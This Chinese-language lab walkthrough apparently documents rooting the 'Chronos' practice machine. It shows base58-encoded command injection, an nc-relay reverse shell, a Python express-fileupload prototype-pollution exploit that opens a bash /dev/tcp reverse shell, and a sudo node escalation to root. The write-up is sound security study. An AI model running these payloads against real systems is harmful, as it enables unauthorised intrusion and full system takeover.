3、Chronos

avatar
作者
筋斗云
阅读量:0

中级难度,目标拿到root权限和两个flag

将靶机和kali放到同一个网段下面

先探测一下靶机的存活

netdiscover -i eth0 -r 192.168.1.0/24

做端口扫描

访问80端口只有一段话

8000端口估计就是80端口从这里加载的资源,看页面的源码,会发现有一段js代码像是混淆过一样里面的变量名都是0x什么的

但是里面有一个数组,里面存放的东西像是一个请求头信息一样,还有一个url

这个地址的感觉就像是访问的这个本地的8000端口一样,,通过修改本地的hosts文件将ip和域名映射再次访问

发现显示了当前的时间

不过这里我一开始使用的Windows上面的浏览器去访问发现会显示。。。

用bp抓一下刷新页面的数据包

看数据包确实是实现了访问这个页面的功能

然后解码一下这个参数的值,这个并不是base64的编码方式

使用在线网站CyberChef

使用magic智能解码发现用的是base58

传递的参数是'+Today is %A, %B %d, %Y %H:%M:%S.'

第一眼看到的全都是这个格式化字符串,联想到字符串溢出漏洞,python中的format格式化好像还可以直接执行代码我记得。

但是没想到这里是Linux中的date命令。。。

验证是否存在命令执行漏洞,将;ls base58编码为 Lxfc 执行 ,可以看到成功返回了的当前目录的内容

既然可以执行命令就可以考虑反弹shell 了一般优先考虑nc

首先查看一下是否存在nc命令

尝试-e反弹bash发现失败了,只能使用nc串联的方式

;nc 192.168.1.122 4455 | /bin/bash | nc 192.168.1.122 5566

习惯性的上线msf

看了一下确定不是在docker中

靶机的要求是获取两个flag以及root权限

所以需要进行一波信息收集

查看一下passwd文件

发现存在一个imera用户,确实存在次用户的目录而且里面有一个user文件,但是很可惜这个文件访问不了。权限不够,也就是说此时需要进行一波提权。

尝试常见的提权方式,suid,sudo,内核溢出

前面两种尝试了没有发现可以提权的,内核溢出最后尝试怕把靶机打出问题了,先按照wp的思路来做

那就是在刚才的web文件中继续做信息收集

回到一开始的目录

都看一看文件的信息

发现次网站竟然是js搭建的,比较少见,使用的是express框架

源码里面有对输入的值进行解码判断黑名单但是没有做进一步的限制所以我们才可以执行命令反弹shell的

然后继续到处看看在上级目录发现

还有一个网站v2而且是root权限,有点东西

里面的几个文件夹都点开看了看,发现那个server.js中这个应该是一个网页在8080开发,感觉去查看了一下端口的开放情况

果然如此,是一个只对内开放的网站,不对外开放

还有就是这个express-fileupload一下子勾起了我的回忆,之前在打ctf的靶场的时候其实做过几种类型的题目,我记忆尤为深刻的就是第一次遇到的一个js网站的题目,那个时候我甚至不知道js还可以作为后端的语言去开发网站,但是的那个漏洞就是这个Upload依赖导致的,我暂时还不知道是不是存在这个问题。但是感觉很有可能

【有道云笔记】nginx泄露&node.js——BadProgrammer

有道云笔记

        看了wp果然如此确实是利用的此漏洞,这个漏洞现在分析的人比较多了,在网上一搜就可以找到相关的文章了。

有个利用条件

前面查看js源码刚好满足此条件。

利用网上的exp脚本执行反弹shell的操作

import requests  cmd = 'bash -c "bash -i &> /dev/tcp/192.168.1.122/6677 0>&1"'  # pollute requests.post('http://127.0.0.1:8080', files={'__proto__.outputFunctionName': (     None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})  # execute command requests.get('http://127.0.0.1:8080')

将此脚本放到靶机上去执行成功反弹回来了

没想到是这个imera的权限,不过正好可以查看一下之前看到的此用户下面的那个user.txt文件

里面应该就是其中一个flag

还有一个flag很有可能在root目录下面,但是权限不够访问不了目录。。。所以还是得想办法提权

在之前www的权限下面当时尝试的suid和sudo都失败了,换成了这个可以再尝试一次sudo提权,这一次有了不同的结果

很好,可以sudo提权了,通过使用这个node来实现提权

提权exp

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

child_process.spawn:Node.js中用于创建子进程的函数。

"/bin/bash":指定要运行的命令,这里是bash shell。

{stdio: [0,1,2]}:设置子进程的标准输入、输出和错误流。

相当于新建了一个shell出来,这里应该可是可以执行反弹的命令的

成功返回了root权限

也是成功拿到了另一个flag

到此本次打靶就结束了,还是挺有意思的,攻击只对本地开启的服务,所以还是得做好信息收集。真的很重要。同时又复习了一遍这个express的upload的依赖的漏洞利用以及利用node命令来提权的操作。

    广告一刻

    为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!